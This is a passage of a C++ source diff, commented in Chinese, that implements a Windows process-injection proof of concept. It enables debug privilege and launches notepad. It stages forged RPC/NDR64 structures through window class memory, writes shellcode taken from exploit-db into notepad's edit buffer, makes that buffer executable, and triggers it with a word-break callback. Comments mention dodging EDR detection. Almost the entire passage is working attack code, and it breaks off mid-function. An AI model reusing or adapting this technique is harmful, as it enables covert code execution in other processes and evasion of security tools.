unsigned __int16 IsDontCallFreeInst : 1; + unsigned __int16 SaveForAsyncFinish : 1; + unsigned __int16 IsPartialIgnore : 1; + unsigned __int16 IsForceAllocate : 1; + unsigned __int16 Reserved : 2; + unsigned __int16 UseCache : 1; +}; +typedef const void* PNDR64_FORMAT; +typedef struct _NDR64_PARAM_FORMAT { + void* Type; + _NDR64_PARAM_FLAGS Attributes; + unsigned __int16 Reserved; + unsigned __int32 StackOffset; +}; +/* +.rdata:00007FFF3A2784E0 ?Ndr64SimpleTypeBufferSize@@3QBEB db 0 ; DATA XREF: +Ndr64ComplexStructBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const +*)+31B↑o .rdata:00007FFF3A2784E0 ; +Ndr64UnionBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const *)+B8↑o ... +.rdata:00007FFF3A2784E1 db 1 +.rdata:00007FFF3A2784E2 db 1 +.rdata:00007FFF3A2784E3 db 2 +.rdata:00007FFF3A2784E4 db 2 +.rdata:00007FFF3A2784E5 db 4 +.rdata:00007FFF3A2784E6 db 4 +.rdata:00007FFF3A2784E7 db 8 +.rdata:00007FFF3A2784E8 db 8 +*/ +enum class _Ndr64SimpleTypeBUfferSizeMap { + kChar = 0, + kShort = 2, + kint32 = 4, + kint64 = 6 +}; +void PrivilegeEscalation() { + HANDLE hToken; + LUID luid; + TOKEN_PRIVILEGES tp; + OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, + &hToken); + LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); + tp.PrivilegeCount = 1; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + tp.Privileges[0].Luid = luid; + AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); +} +int APIENTRY wWinMain(_In_ HINSTANCE hInstance, + _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, + _In_ int nCmdShow) { + PrivilegeEscalation(); + // 创建notepad进程,泄露就泄露了 去他妈的 + STARTUPINFO si = {sizeof(si)}; + PROCESS_INFORMATION pi; + if (!CreateProcess(L"L:\\Windows\\system32\\notepad.exe", NULL, NULL, NULL, + FALSE, 0, NULL, NULL, &si, &pi)) { + std::cerr << "CreateProcess failed: " << GetLastError() << std::endl; + return 1; + } + // 等完全起来 + WaitForInputIdle(pi.hProcess, INFINITE); + + // 获取notepad进程中edit窗口的句柄 + HWND hwndNotepad = FindWindow(L"Notepad", NULL); + HWND hwndEdit = FindWindowEx(hwndNotepad, NULL, L"Edit", NULL); + if (!hwndEdit) { + std::cerr << "FindWindowEx failed: " << GetLastError() << std::endl; + return 1; + } + + // 注册一个带有额外类内存的窗口类 + // https://learn.microsoft.com/en-us/windows/win32/winmsg/about-window-classes?redirectedfrom=MSDN + WNDCLASSEX wcex = {sizeof(wcex)}; + wcex.lpfnWndProc = DefWindowProc; + wcex.cbClsExtra = wcex.cbWndExtra = 1024 * 64; + wcex.lpszClassName = L"CustomWindowClass"; + wcex.hInstance = hInstance; + if (!RegisterClassEx(&wcex)) { + std::cerr << "RegisterClassEx failed: " << GetLastError() << std::endl; + return 1; + } + + // 创建一个仅消息窗口 + HWND hwndMessage = + CreateWindowExW(0, L"CustomWindowClass", NULL, 0, 0, 0, 0, 0, + HWND_MESSAGE, NULL, hInstance, NULL); + if (!hwndMessage) { + std::cerr << "CreateWindowEx failed: " << GetLastError() << std::endl; + return 1; + } + ShowWindow(hwndMessage, SW_SHOW); + UpdateWindow(hwndMessage); +#ifdef _WIN64 + typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset, + LONG64 dwNewLong, BOOL Ansi); +#else + typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset, + LONG dwNewLong, BOOL Ansi); + +#endif // _WIN64 + + FnNtUserSetClassLong NtUserSetClassLong = + (FnNtUserSetClassLong)GetProcAddress(LoadLibrary(L"win32u.dll"), + "NtUserSetClassLong"); + + if (!NtUserSetClassLong) { + std::cerr << "NtUserSetClassLong GetProcAddress failed: " + << GetLastError() << std::endl; + return 1; + } + + /* + typedef LONG(NTAPI* FnNtUserSetClassLongPtr)(HWND hwnd, INT offset, LONG_PTR + newval, BOOL ansi); FnNtUserSetClassLongPtr NtUserSetClassLongPtr = + (FnNtUserSetClassLongPtr)GetProcAddress(LoadLibrary(L"win32u.dll"), + "NtUserSetClassLongPtr"); + + if (!NtUserSetClassLongPtr) { + std::cerr << "NtUserSetClassLongPtr GetProcAddress failed: " << + GetLastError() << std::endl; return 1; + } + */ + const char shitInput[] = {0x13, 0x37, 0xCC, 0xA0, 0xA0, + 0x68, 0x75, 0x6f, 0x6a, 0x69}; + // https://github.com/wine-mirror/wine/blob/1134834b7478632da9c60f36d4a7cf254729242c/dlls/win32u/class.c#L705 + // offset = 0 + for (size_t i = 0; i < sizeof(shitInput); i++) { + NtUserSetClassLong(hwndMessage, i, shitInput[i], FALSE); + } + // 通过查找TEB->Win32ClientInfo->phkCurrent结构下的AllocationBase来确定窗口内存的基址 + // 只是缩小范围,其实不如直接virtualqueryex,我实在是不知道这里要怎么定位到notepad的地址.如果用win32 + // api edr绝对有痕迹 这里就是用readmemory + auto TheTagClsAddress = LookupTagClsAddressByProcess((HANDLE)-1); + if (TheTagClsAddress == 0) { + std::cerr << "TheTagClsAddress failed: " << GetLastError() << std::endl; + return 1; + } + auto TheNotepadTagClsAddress = LookupTagClsAddressByProcess(pi.hProcess); + if (TheNotepadTagClsAddress == 0) { + std::cerr << "TheNotepadTagClsAddress failed: " << GetLastError() + << std::endl; + return 1; + } + for (size_t i = 0; i < sizeof(shitInput); i++) { + NtUserSetClassLong(hwndMessage, i, 0x0, FALSE); + } + // 这个作者抄了这玩意 + // https://modexp.wordpress.com/2020/07/07/wpi-wm-paste/ + // https://github.com/odzhan/injection/blob/master/eminject/poc.c#L38 + + /* + RPC_STATUS __stdcall I_RpcFreePipeBuffer(RPC_MESSAGE *Message) { + (*(void (__fastcall **)(RPC_BINDING_HANDLE, RPC_MESSAGE *))(*(_QWORD + *)Message->Handle + 0x80))( //Message->Handle + 0x80 = NdrServerCallAll + Message->Handle, // Message->Handle = PRPC_MESSAGE pRpcMsg + Message); + return 0; + } + */ + + /* + void __stdcall NdrServerCallAll(PRPC_MESSAGE pRpcMsg) + { + struct _MIDL_SERVER_INFO_ **RpcInterfaceInformation; // rax + unsigned int v2; // [rsp+50h] [rbp+8h] BYREF + + RpcInterfaceInformation = (struct _MIDL_SERVER_INFO_ + **)pRpcMsg->RpcInterfaceInformation; v2 = 0; + ((void (__stdcall *)(void *, void *, struct _RPC_MESSAGE *, struct + _MIDL_SERVER_INFO_ *, int (*const *)(void), struct _MIDL_SYNTAX_INFO *, + unsigned int *))Ndr64StubWorker)( 0i64, 0i64, pRpcMsg, + RpcInterfaceInformation[0xA], + RpcInterfaceInformation[0xA]->DispatchTable, + RpcInterfaceInformation[0xA]->pSyntaxInfo + 1, + &v2); + } + */ + // 不可以用NdrServerCall2的原因是需要调用PerformRpcInitialization。 + const auto hRpcRt4 = LoadLibraryA("rpcrt4.dll"); + + const auto theNdrServerCallAllAddress = + (uint64_t)GetProcAddress(hRpcRt4, "NdrServerCallAll"); + + const auto theI_RpcFreePipeBufferAddr = + GetProcAddress(hRpcRt4, "I_RpcFreePipeBuffer"); + const auto theVirtualProtectAddr = (void*)VirtualProtect; + + // PRPC_MESSAGE->Handle + /* + const auto fnInitRpcMessageHandle = [&](void* localStartAddress, void* + remoteStartAddress, void* callAddress) -> void { static const auto maxSize = + sizeof(RPC_MESSAGE) + 0x100 + 0x80 + 0x80; const auto tempBuffer = new + char[maxSize]; memset(tempBuffer, 0x0, maxSize); const auto + remote_notepad_rpc_Message = (PRPC_MESSAGE)((uint64_t)remoteStartAddress); + const auto remote_notepad_rpc_Message_handle = + (void*)((uint64_t)remote_notepad_rpc_Message + sizeof(RPC_MESSAGE)); + //这里会是RPC_MESSAGE开头 + + const auto remote_notepad_rpc_RpcInterfaceInformation = + (void*)((uint64_t)remote_notepad_rpc_Message_handle + 0x100); const auto + remote_notepad_rpc_RpcInterfaceInformation_DisPathTable = + (void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation + 0x80); const + auto remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath = + (void*)((uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable + + 0x80); + + const auto local_rpc_Message = (PRPC_MESSAGE)((uint64_t)tempBuffer); + const auto local_rpc_Message_handle = + (void*)((uint64_t)local_rpc_Message + + sizeof(RPC_MESSAGE));//这里会是RPC_MESSAGE开头,很重要,给后面的local_rpc_dispath_table_dispath_table用 + + const auto local_rpc_RpcInterfaceInformation = + (void*)((uint64_t)local_rpc_Message_handle + sizeof(RPC_MESSAGE) + 0x100); + const auto local_rpc_RpcInterfaceInformation_DisPathTable = + (void*)((uint64_t)local_rpc_RpcInterfaceInformation + 0x80); const auto + local_rpc_RpcInterfaceInformation_DisPathTable_Dispath = + (void*)((uint64_t)local_rpc_RpcInterfaceInformation_DisPathTable + 0x80); + + local_rpc_Message->ProcNum = 0; //这里填0 + local_rpc_Message->RpcInterfaceInformation = + (void**)remote_notepad_rpc_RpcInterfaceInformation; + local_rpc_Message->Handle = (void*)remote_notepad_rpc_Message_handle; + // 填第一次Message->Handle + 0x80的地址 : + *(uint64_t*)((uint64_t)local_rpc_Message_handle + 0x80) = + theNdrServerCallAllAddress; + + auto wtf = ((uint64_t)local_rpc_RpcInterfaceInformation + 0xA0 * + sizeof(void*)); + *(uint32_t*)(wtf + 0x0) = 0x80;//长度 + *(uint64_t*)(wtf + 0x8) = + (uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable;//dispathPath(也是一个数组) + + auto local_rpc_dispath_table = + (uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable); + *(uint32_t*)((uint64_t)local_rpc_dispath_table + 0x0) = 1;// + dispath_count + *(uint64_t*)((uint64_t)local_rpc_dispath_table + 0x4) = + (uint64_t)remote_notepad_rpc_RpcInterfaceInformation_DisPathTable_Dispath; + // dispath_dispath + + auto local_rpc_dispath_table_dispath_table = + (uint64_t*)(local_rpc_RpcInterfaceInformation_DisPathTable_Dispath); + *(uint64_t*)((uint64_t)local_rpc_dispath_table_dispath_table + 0x0) = + (uint64_t)callAddress; memcpy(tempBuffer, local_rpc_Message, maxSize); + // +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4 + auto baseIndex = (uint64_t)localStartAddress + 0x8 - + (uint64_t)TheTagClsAddress; for (size_t i = 0; i < maxSize; i++) + { + NtUserSetClassLong(hwndMessage, i + baseIndex, tempBuffer[i], + FALSE); + } + delete[] tempBuffer; + }; + */ + // const auto localrpcMessage = (PRPC_MESSAGE)((uint64_t)TheTagClsAddress + + // 0x8); const auto remoterpcMessage = + // (PRPC_MESSAGE)((uint64_t)TheNotepadTagClsAddress + 0x8); + // +8的原因是里面会读一次RCX这个傻逼指针,所以+8是给RCX指针的 32位给4 + + /* + fnInitRpcMessageHandle((void*)((uint64_t)TheTagClsAddress), + (void*)((uint64_t)TheNotepadTagClsAddress), + (void*)theNdrServerCallAllAddress); + */ + + // const auto local_rpc_Message_handle22 = (void*)((uint64_t)localrpcMessage + // + sizeof(RPC_MESSAGE)); + // 现在再填一次local_rpc_Message_handle + // fnInitRpcMessageHandle((void*)localrpcMessage->Handle, + // (void*)remoterpcMessage, (void*)theVirtualProtectAddr); + // +0指向自己 +8的地方 + // *(uint64_t*)((uint64_t)TheTagClsAddress + 0x0) = + // (uint64_t)localrpcMessage; + + /* + char tempBuffer[8]; + memcpy(tempBuffer, &remoterpcMessage, 8); + for (size_t i = 0; i < 8; i++) + { + NtUserSetClassLong(hwndMessage, i, tempBuffer[i], FALSE); + } + */ + const auto allocShellcodeSize = 2048; + char* tmpShellcode = (char*)malloc(allocShellcodeSize); + memset(tmpShellcode, 0, allocShellcodeSize); + char* editShellcode = (char*)malloc(allocShellcodeSize); + memset(editShellcode, 0, allocShellcodeSize); + // I_RpcFreePipeBuffer(Message) + + // Message = EditControlPtr + // Message->Handle = Shellcode + // *Message->Handle = Shellcode + *(ULONG_PTR*)tmpShellcode = (ULONG_PTR)TheNotepadTagClsAddress; + + // *Message->Handle + 0x80 = NdrServerCallAll + *(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress; + +#define REMOTE_CLS_ADDRESS(x) \ + ((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \ + (ULONG_PTR)TheNotepadTagClsAddress) + + // NdrServerCallAll(pRpcMsg) + // pRpcMsg = Shellcode + RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode; + RPC_SERVER_INTERFACE* RpcInterfaceInfo0 = + (RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88); + MIDL_SERVER_INFO* RpcSrvInfo0 = + (MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE)); + PVOID* DispatchTable0 = + (PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO)); + MIDL_SYNTAX_INFO* SyntaxInfo0 = + (MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID)); + MIDL_STUB_DESC* StubDesc0 = + (MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2); + ULONG_PTR* FmtStrOffset0 = + (ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC)); + NDR64_PROC_FORMAT* ProcStr0 = + (NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 + + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + + sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR)); + + //_NDR_PROC_CONTEXT Ndr+Proc + DispatchTable0[0] = (PVOID)theNdrServerCallAllAddress; + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0); + + FmtStrOffset0[0] = (ULONG_PTR)REMOTE_CLS_ADDRESS(ProcStr0); + (SyntaxInfo0 + 1)->FmtStringOffset = + (USHORT*)REMOTE_CLS_ADDRESS(FmtStrOffset0); + RpcSrvInfo0->pSyntaxInfo = + (MIDL_SYNTAX_INFO*)REMOTE_CLS_ADDRESS(SyntaxInfo0); + RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_CLS_ADDRESS(StubDesc0); + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0); + // RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337; + RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA; + + + RpcInterfaceInfo0->InterpreterInfo = + (MIDL_SERVER_INFO*)REMOTE_CLS_ADDRESS(RpcSrvInfo0); + RpcMsg0->RpcInterfaceInformation = + (RPC_SERVER_INTERFACE*)REMOTE_CLS_ADDRESS(RpcInterfaceInfo0); + RpcMsg0->ProcNum = 0; + RpcMsg0->RpcFlags = 0x1000; + + // rpcmsg0->Handle的handle已经在上面设置为TheNotepadTagClsAddress了.所以要在TheNotepadTagClsAddress + // + 0x100的位置设置virtualprotect + *(ULONG_PTR*)(tmpShellcode + 0x100) = + (ULONG_PTR)VirtualProtect; // 为了通过Ndr64pServerUnMarshal最后的那一段 + //*(ULONG_PTR*)(tmpShellcode + 0x160) = (ULONG_PTR)tempVar; + ////为了通过Ndr64pServerUnMarshal最后的那一段 + + + auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) + + sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT); + // auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset); + //*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr; + // calcOffset += sizeof(ULONG_PTR); + + /* + * https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152 + if ( pParamFlags->IsIn || + (pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) || + pParamFlags->IsPipe ) + continue; + */ + std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress; + // type的指针,这个type会读两次 **typeaddr + auto fnSetNdr64Param = [&]() { + static auto currentCopyCount = 0; + auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset); + ndr64Param->Attributes.IsIn = true; + ndr64Param->Attributes.IsBasetype = true; + // auto typeAddress = tmpShellcode + calcOffset; + // theParamTypeAddress.push_back(typeAddress); + // ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + ndr64Param->StackOffset = currentCopyCount * 4; + currentCopyCount += 1; + // 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值 + // https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43 + //*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + // calcOffset += sizeof(_NDR64_PARAM_FORMAT); + theParamTypeAddress.push_back(ndr64Param); + calcOffset += sizeof(_NDR64_PARAM_FORMAT); + }; + + const auto virtualProtectParamSize = 8 * 4; + for (size_t i = 0; i < virtualProtectParamSize / 4; i++) { + fnSetNdr64Param(); + } + auto paramsBuffer = tmpShellcode + calcOffset; + // 设置参数 + RpcMsg0->Buffer = (void*)REMOTE_CLS_ADDRESS(paramsBuffer); + RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数 + calcOffset += RpcMsg0->BufferLength; + + // Make HandleType to 0 + ProcStr0->Flags = 1; + ProcStr0->StackSize = virtualProtectParamSize; + ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4; + + // https://www.exploit-db.com/shellcodes/49819 + // 没办法把shellcode写到cls内存里面,因为那个是map的属性.所以提前写到编辑框里面 + unsigned char payload[] = + "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b" + "\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b" + "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08" + "\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2" + "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24" + "\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b" + "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6" + "\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04" + "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96" + "\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0" + "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e" + "\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2" + "\x48\x83\xec\x20\x41\xff\xd6"; + // const auto shellcodeAddress = tmpShellcode + calcOffset; + // memcpy(shellcodeAddress, payload, sizeof(payload)); + // calcOffset += sizeof(payload); + + // typedef LONG(NTAPI* FnNtUserMessageCall)(HWND hWnd, UINT msg, WPARAM + // wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); + // FnNtUserMessageCall NtUserMessageCall = + // (FnNtUserMessageCall)GetProcAddress(LoadLibrary(L"win32u.dll"), + // "NtUserMessageCall"); + // + // 执行payload + // 1.给回调设置参数为我们的payload + // SendMessageA才生效,不知道为什么,否则会报60 + auto result1 = + SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)&TheNotepadTagClsAddress); + // auto result1 = NtUserMessageCall(hwndEdit, WM_SETTEXT, 0, + // (LPARAM)&TheNotepadTagClsAddress, 0, 0x2B1, 1); + // 等完全输入完毕 + WaitForInputIdle(pi.hProcess, INFINITE); + result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0); + + // ***这里有个限制 除非我是英文系统 否则会被格式为Utf-8导致不能用** + // 我直接writememory让那个地方看起来像是英文系统 + auto emh = (PVOID)SendMessage(hwndEdit, EM_GETHANDLE, 0, 0); + PVOID embuf; + SIZE_T numOfWrite; + ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite); + WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8, + &numOfWrite); + WriteProcessMemory(pi.hProcess, (char*)((uint64_t)embuf + 8), payload, + sizeof(payload), &numOfWrite); + const auto shellcodeAddress = (uint64_t)embuf + 8; + const auto virtualProtectReturnValue = shellcodeAddress + sizeof(payload); + const auto editShellcodeLocation = shellcodeAddress + sizeof(payload) + sizeof(uint64_t); + /* + _In_ LPVOID lpAddress, + _In_ SIZE_T dwSize, + _In_ DWORD flNewProtect, + _Out_ PDWORD lpflOldProtect + */ + auto tempCover = (uint64_t)TheNotepadTagClsAddress; + memcpy(paramsBuffer, &tempCover, 8); + + tempCover = (uint64_t)sizeof(payload); + memcpy(paramsBuffer + 8, &tempCover, 8); + + tempCover = (uint64_t)PAGE_EXECUTE_READWRITE; + memcpy(paramsBuffer + 8 + 8, &tempCover, 8); + // 这个地方是readonly的,如果直接传给virtualprotect会失败.所以也得放在编辑框里面 + /* + auto oldProtectAddress = (uint64_t)REMOTE_CLS_ADDRESS(tmpShellcode + + calcOffset); tempCover = (uint64_t)tmpShellcode + calcOffset; + memcpy(paramsBuffer + 8 + 8 + 8, &oldProtectAddress, 8); + calcOffset += sizeof(uint64_t); + *(uint64_t*)tempCover = (uint64_t)REMOTE_CLS_ADDRESS((uint64_t)(tmpShellcode + + calcOffset)); calcOffset += sizeof(uint64_t); + */ + memcpy(paramsBuffer + 8 + 8 + 8, &virtualProtectReturnValue, 8); + calcOffset += sizeof(uint64_t); + + for (auto ndr64Param : theParamTypeAddress) { + auto typeAddress = tmpShellcode + calcOffset; + ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + calcOffset += sizeof(void*); + + *(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64; + calcOffset += sizeof(char); + } + for (size_t i = 0; i < allocShellcodeSize; i++) { + NtUserSetClassLong(hwndMessage, i, tmpShellcode[i], FALSE); + } + + // 2.设置I_RpcFreePipeBuffer为回调地址 + // bp rpcrt4!I_RpcFreePipeBuffer + result1 = PostMessageA(hwndEdit, EM_SETWORDBREAKPROC, 0, + (LPARAM)theI_RpcFreePipeBufferAddr); + + // 3. 激活 + result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0); + // 4. cleanup + SendMessage(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL); + + // SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)INJPATH); + // SendMessageW(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)embuf.p); + return 0; +} +void buildEditShellCode(char* tmpShellcode, uint64_t editShellcodeLocation, uint64_t theNdrServerCallAllAddress) { + + //第二个shellcode在编辑框里面,负责call virtualprotect + *(ULONG_PTR*)tmpShellcode = (ULONG_PTR)editShellcodeLocation; + + // *Message->Handle + 0x80 = NdrServerCallAll + *(ULONG_PTR*)(tmpShellcode + 0x80) = (ULONG_PTR)theNdrServerCallAllAddress; + +#define REMOTE_EDIT_ADDRESS(x) \ + ((ULONG_PTR)(x) - (ULONG_PTR)tmpShellcode + \ + (ULONG_PTR)editShellcodeLocation) + RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode; + RPC_SERVER_INTERFACE* RpcInterfaceInfo0 = + (RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88); + MIDL_SERVER_INFO* RpcSrvInfo0 = + (MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE)); + PVOID* DispatchTable0 = + (PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO)); + MIDL_SYNTAX_INFO* SyntaxInfo0 = + (MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID)); + MIDL_STUB_DESC* StubDesc0 = + (MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2); + ULONG_PTR* FmtStrOffset0 = + (ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC)); + NDR64_PROC_FORMAT* ProcStr0 = + (NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 + + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + + sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR)); + + //_NDR_PROC_CONTEXT Ndr+Proc + DispatchTable0[0] = (PVOID)VirtualProtect; + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0); + + FmtStrOffset0[0] = (ULONG_PTR)REMOTE_EDIT_ADDRESS(ProcStr0); + (SyntaxInfo0 + 1)->FmtStringOffset = + (USHORT*)REMOTE_EDIT_ADDRESS(FmtStrOffset0); + RpcSrvInfo0->pSyntaxInfo = + (MIDL_SYNTAX_INFO*)REMOTE_EDIT_ADDRESS(SyntaxInfo0); + RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_EDIT_ADDRESS(StubDesc0); + RpcSrvInfo0->DispatchTable = + (SERVER_ROUTINE*)REMOTE_EDIT_ADDRESS(DispatchTable0); + // RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337; + RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA; + + + + RpcInterfaceInfo0->InterpreterInfo = + (MIDL_SERVER_INFO*)REMOTE_EDIT_ADDRESS(RpcSrvInfo0); + RpcMsg0->RpcInterfaceInformation = + (RPC_SERVER_INTERFACE*)REMOTE_EDIT_ADDRESS(RpcInterfaceInfo0); + RpcMsg0->ProcNum = 0; + RpcMsg0->RpcFlags = 0x1000; + + *(ULONG_PTR*)(tmpShellcode + 0x100) = + (ULONG_PTR)VirtualProtect; + + + + auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) + + sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) + + sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) + + sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT); + // auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset); + //*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr; + // calcOffset += sizeof(ULONG_PTR); + + /* + * https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152 + if ( pParamFlags->IsIn || + (pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) || + pParamFlags->IsPipe ) + continue; + */ + std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress; + // type的指针,这个type会读两次 **typeaddr + auto fnSetNdr64Param = [&]() { + static auto currentCopyCount = 0; + auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset); + ndr64Param->Attributes.IsIn = true; + ndr64Param->Attributes.IsBasetype = true; + // auto typeAddress = tmpShellcode + calcOffset; + // theParamTypeAddress.push_back(typeAddress); + // ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress); + ndr64Param->StackOffset = currentCopyCount * 4; + currentCopyCount += 1; + // 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值 + // https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43 + //*(char*)(typeAddress) = 